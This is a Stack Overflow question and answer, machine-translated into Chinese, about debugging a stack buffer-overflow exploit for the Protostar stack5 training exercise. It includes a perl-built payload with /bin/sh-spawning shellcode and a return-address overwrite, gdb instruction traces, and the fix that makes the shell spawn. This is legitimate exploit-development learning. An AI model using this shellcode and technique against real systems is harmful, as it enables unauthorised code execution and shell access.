【问题标题】:Shellcode not executed properlyShellcode 未正确执行
【发布时间】:2017-03-31 12:54:42
【问题描述】:

我正在尝试解决Protostar stack5。 这是solution。 它把shellcode放在返回地址之后,我试着把它放在数组中。 我试过shellcode,它可以工作。

似乎一切正常,执行跳转到 shellcode,但在 shellcode 结束后出现分段错误,并且没有生成任何 shell。我不知道为什么,gdb 中并非所有的 shellcode 指令都正确显示。 例如0xbffff690 应该是mov %esp,%ecx 而不是cwtl。也许这就是问题所在?为什么会这样?

编辑:由于数组地址在gdb之外启动时会略有不同,我们需要一个nop sled。所以我的方法可能行不通,因为数组大小太小了。不过我还是想知道为什么gdb中shellcode的结尾被错误解释了。

perl -e 'print "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" . "A"x21 . "\x60\xf6\xff\xbf"' > /tmp/o2


user@protostar:/opt/protostar/bin$ gdb -q stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   %ebp
0x080483c5 <main+1>:    mov    %esp,%ebp
0x080483c7 <main+3>:    and    $0xfffffff0,%esp
0x080483ca <main+6>:    sub    $0x50,%esp
0x080483cd <main+9>:    lea    0x10(%esp),%eax
0x080483d1 <main+13>:   mov    %eax,(%esp)
0x080483d4 <main+16>:   call   0x80482e8 <gets@plt>
0x080483d9 <main+21>:   leave  
0x080483da <main+22>:   ret    
End of assembler dump.
(gdb) b *0x080483da
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.
(gdb) r < /tmp/o2
Starting program: /opt/protostar/bin/stack5 < /tmp/o2

Breakpoint 1, 0x080483da in main (argc=Cannot access memory at address 0x41414149
) at stack5/stack5.c:11
11  stack5/stack5.c: No such file or directory.
    in stack5/stack5.c
(gdb) b *0xbffff660
Breakpoint 2 at 0xbffff660
(gdb) c
Continuing.

Breakpoint 2, 0xbffff660 in ?? ()
(gdb) display/i $pc
1: x/i $pc
0xbffff660: xor    %eax,%eax
(gdb) ni
0xbffff662 in ?? ()
1: x/i $pc
0xbffff662: xor    %ebx,%ebx
(gdb) 
0xbffff664 in ?? ()
1: x/i $pc
0xbffff664: mov    $0x6,%al
(gdb) 
0xbffff666 in ?? ()
1: x/i $pc
0xbffff666: int    $0x80
(gdb) 
0xbffff668 in ?? ()
1: x/i $pc
0xbffff668: push   %ebx
(gdb) 
0xbffff669 in ?? ()
1: x/i $pc
0xbffff669: push   $0x7974742f
(gdb) 
0xbffff66e in ?? ()
1: x/i $pc
0xbffff66e: push   $0x7665642f
(gdb) 
0xbffff673 in ?? ()
1: x/i $pc
0xbffff673: mov    %esp,%ebx
(gdb) 
0xbffff675 in ?? ()
1: x/i $pc
0xbffff675: xor    %ecx,%ecx
(gdb) 
0xbffff677 in ?? ()
1: x/i $pc
0xbffff677: mov    $0x2712,%cx
(gdb) 
0xbffff67b in ?? ()
1: x/i $pc
0xbffff67b: mov    $0x5,%al
(gdb) 
0xbffff67d in ?? ()
1: x/i $pc
0xbffff67d: int    $0x80
(gdb) 
0xbffff67f in ?? ()
1: x/i $pc
0xbffff67f: xor    %eax,%eax
(gdb) 
0xbffff681 in ?? ()
1: x/i $pc
0xbffff681: push   %eax
(gdb) 
0xbffff682 in ?? ()
1: x/i $pc
0xbffff682: push   $0x68732f2f
(gdb) 
0xbffff687 in ?? ()
1: x/i $pc
0xbffff687: push   $0x6e69622f
(gdb) 
0xbffff68c in ?? ()
1: x/i $pc
0xbffff68c: mov    %esp,%ebx
(gdb) 
0xbffff68e in ?? ()
1: x/i $pc
0xbffff68e: push   %eax
(gdb) 
0xbffff68f in ?? ()
1: x/i $pc
0xbffff68f: push   %ebx
(gdb) 
0xbffff690 in ?? ()
1: x/i $pc
0xbffff690: cwtl   
(gdb) 
0xbffff691 in ?? ()
1: x/i $pc
0xbffff691: idiv   %bh
(gdb) 
0xbffff693 in ?? ()
1: x/i $pc
0xbffff693: mov    $0x0,%edi
(gdb) 
0xbffff698 in ?? ()
1: x/i $pc
0xbffff698: das    
(gdb) 
0xbffff699 in ?? ()
1: x/i $pc
0xbffff699: bound  %ebp,0x6e(%ecx)
(gdb) 

Program received signal SIGSEGV, Segmentation fault.
0xbffff699 in ?? ()
1: x/i $pc
0xbffff699: bound  %ebp,0x6e(%ecx)

【问题讨论】:

    标签: gdb buffer-overflow shellcode


    【解决方案1】:

    有趣的问题。答案是:你的堆栈溢出中有堆栈溢出。

    在我的系统上,main 的反汇编地址略有不同:

    (gdb) disas
    Dump of assembler code for function main:
       0x0804841d <+0>:     push   %ebp
       0x0804841e <+1>:     mov    %esp,%ebp
       0x08048420 <+3>:     and    $0xfffffff0,%esp
       0x08048423 <+6>:     sub    $0x50,%esp
       0x08048426 <+9>:     lea    0x10(%esp),%eax
       0x0804842a <+13>:    mov    %eax,(%esp)
       0x0804842d <+16>:    call   0x80482f0 <gets@plt>
       0x08048432 <+21>:    leave
       0x08048433 <+22>:    ret
    End of assembler dump.
    

    栈地址也不一样:停在0x0804841d时的返回地址是0xffffcedc,也就是说当我到达gets$eax的值是0xffffce90,我需要相应地调整漏洞利用代码。

    然后我在*0x08048433 中设置一个断点,并在到达它时执行以下命令:

    (gdb) display/23i 0xffffce90
    (gdb) stepi
    

    这是我看到的:

    0xffffce90 in ?? ()
    1: x/23i 0xffffce90
    => 0xffffce90:  xor    %eax,%eax
       0xffffce92:  xor    %ebx,%ebx
       0xffffce94:  mov    $0x6,%al
       0xffffce96:  int    $0x80
       0xffffce98:  push   %ebx
       0xffffce99:  push   $0x7974742f
       0xffffce9e:  push   $0x7665642f
       0xffffcea3:  mov    %esp,%ebx
       0xffffcea5:  xor    %ecx,%ecx
       0xffffcea7:  mov    $0x2712,%cx
       0xffffceab:  mov    $0x5,%al
       0xffffcead:  int    $0x80
       0xffffceaf:  xor    %eax,%eax
       0xffffceb1:  push   %eax
       0xffffceb2:  push   $0x68732f2f
       0xffffceb7:  push   $0x6e69622f
       0xffffcebc:  mov    %esp,%ebx
       0xffffcebe:  push   %eax
       0xffffcebf:  push   %ebx
       0xffffcec0:  mov    %esp,%ecx
       0xffffcec2:  cltd
       0xffffcec3:  mov    $0xb,%al
       0xffffcec5:  int    $0x80
    (gdb)   # I press Enter here to repeat stepi
    0xffffce92 in ?? ()
    1: x/23i 0xffffce90
       0xffffce90:  xor    %eax,%eax
    => 0xffffce92:  xor    %ebx,%ebx
       0xffffce94:  mov    $0x6,%al
       0xffffce96:  int    $0x80
       0xffffce98:  push   %ebx
       0xffffce99:  push   $0x7974742f
       0xffffce9e:  push   $0x7665642f
       0xffffcea3:  mov    %esp,%ebx
       0xffffcea5:  xor    %ecx,%ecx
       0xffffcea7:  mov    $0x2712,%cx
       0xffffceab:  mov    $0x5,%al
       0xffffcead:  int    $0x80
       0xffffceaf:  xor    %eax,%eax
       0xffffceb1:  push   %eax
       0xffffceb2:  push   $0x68732f2f
       0xffffceb7:  push   $0x6e69622f
       0xffffcebc:  mov    %esp,%ebx
       0xffffcebe:  push   %eax
       0xffffcebf:  push   %ebx
       0xffffcec0:  mov    %esp,%ecx
       0xffffcec2:  cltd
       0xffffcec3:  mov    $0xb,%al
       0xffffcec5:  int    $0x80
    (gdb)
    0xffffce94 in ?? ()
    1: x/23i 0xffffce90
       0xffffce90:  xor    %eax,%eax
       0xffffce92:  xor    %ebx,%ebx
    => 0xffffce94:  mov    $0x6,%al
       0xffffce96:  int    $0x80
       0xffffce98:  push   %ebx
       0xffffce99:  push   $0x7974742f
       0xffffce9e:  push   $0x7665642f
       0xffffcea3:  mov    %esp,%ebx
       0xffffcea5:  xor    %ecx,%ecx
       0xffffcea7:  mov    $0x2712,%cx
       0xffffceab:  mov    $0x5,%al
       0xffffcead:  int    $0x80
       0xffffceaf:  xor    %eax,%eax
       0xffffceb1:  push   %eax
       0xffffceb2:  push   $0x68732f2f
       0xffffceb7:  push   $0x6e69622f
       0xffffcebc:  mov    %esp,%ebx
       0xffffcebe:  push   %eax
       0xffffcebf:  push   %ebx
       0xffffcec0:  mov    %esp,%ecx
       0xffffcec2:  cltd
       0xffffcec3:  mov    $0xb,%al
       0xffffcec5:  int    $0x80
    (gdb)
    

    到目前为止,一切进展顺利。但是请注意当我们到达0xffffcebestepi 时会发生什么:

    0xffffcebf in ?? ()
    1: x/23i 0xffffce90
       0xffffce90:  xor    %eax,%eax
       0xffffce92:  xor    %ebx,%ebx
       0xffffce94:  mov    $0x6,%al
       0xffffce96:  int    $0x80
       0xffffce98:  push   %ebx
       0xffffce99:  push   $0x7974742f
       0xffffce9e:  push   $0x7665642f
       0xffffcea3:  mov    %esp,%ebx
       0xffffcea5:  xor    %ecx,%ecx
       0xffffcea7:  mov    $0x2712,%cx
       0xffffceab:  mov    $0x5,%al
       0xffffcead:  int    $0x80
       0xffffceaf:  xor    %eax,%eax
       0xffffceb1:  push   %eax
       0xffffceb2:  push   $0x68732f2f
       0xffffceb7:  push   $0x6e69622f
       0xffffcebc:  mov    %esp,%ebx
       0xffffcebe:  push   %eax
    => 0xffffcebf:  push   %ebx
       0xffffcec0:  mov    %esp,%ecx
       0xffffcec2:  cltd
       0xffffcec3:  mov    $0x0,%al
       0xffffcec5:  add    %al,(%eax)
    

    刚刚执行的push 用其他东西(即$eax 的内容)覆盖了曾经位于0xffffcec5int80。这是因为我们正在堆栈上执行指令,而 同时 pushing 值到同一个堆栈!

    另一个stepi,我看到了这个:

    (gdb) stepi
    0xffffcec0 in ?? ()
    1: x/23i 0xffffce90
       0xffffce90:  xor    %eax,%eax
       0xffffce92:  xor    %ebx,%ebx
       0xffffce94:  mov    $0x6,%al
       0xffffce96:  int    $0x80
       0xffffce98:  push   %ebx
       0xffffce99:  push   $0x7974742f
       0xffffce9e:  push   $0x7665642f
       0xffffcea3:  mov    %esp,%ebx
       0xffffcea5:  xor    %ecx,%ecx
       0xffffcea7:  mov    $0x2712,%cx
       0xffffceab:  mov    $0x5,%al
       0xffffcead:  int    $0x80
       0xffffceaf:  xor    %eax,%eax
       0xffffceb1:  push   %eax
       0xffffceb2:  push   $0x68732f2f
       0xffffceb7:  push   $0x6e69622f
       0xffffcebc:  mov    %esp,%ebx
       0xffffcebe:  push   %eax
       0xffffcebf:  push   %ebx
    => 0xffffcec0:  enter  $0xffce,$0xff
       0xffffcec4:  add    %al,(%eax)
       0xffffcec6:  add    %al,(%eax)
       0xffffcec8:  das
    

    而下一个stepi 导致SIGSEGV

    (gdb) stepi
    Program received signal SIGSEGV, Segmentation fault.
    

    那么解决办法是什么?

    当我们在0xffffce90 输入代码时,我们的堆栈指向0xffffcee0,即仅在shellcode 之后80 个字节。我们的 shellcode 长度是 54 字节。因此,在我们开始破坏我们的 shellcode 之前,我们最多可以将 6 个单词压入堆栈。

    当前的 shellcode 推送 8 个单词,在第 7 次和第 8 次推送时破坏了自身。

    shellcode 需要弹出一些单词(例如,在0xffffcead 的第一个系统调用之后添加pop %eax),或者使用例如扩展堆栈。 add $0x80,%esp 进入后,shellcode 的末尾和栈顶之间有足够的空间。

    我用过后者,效果很好:

    (gdb) c
    Continuing.
    process 21439 is executing new program: /bin/bash
    

    【讨论】:

    • 很好的答案。谢谢
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2015-01-21
    • 2019-06-17
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多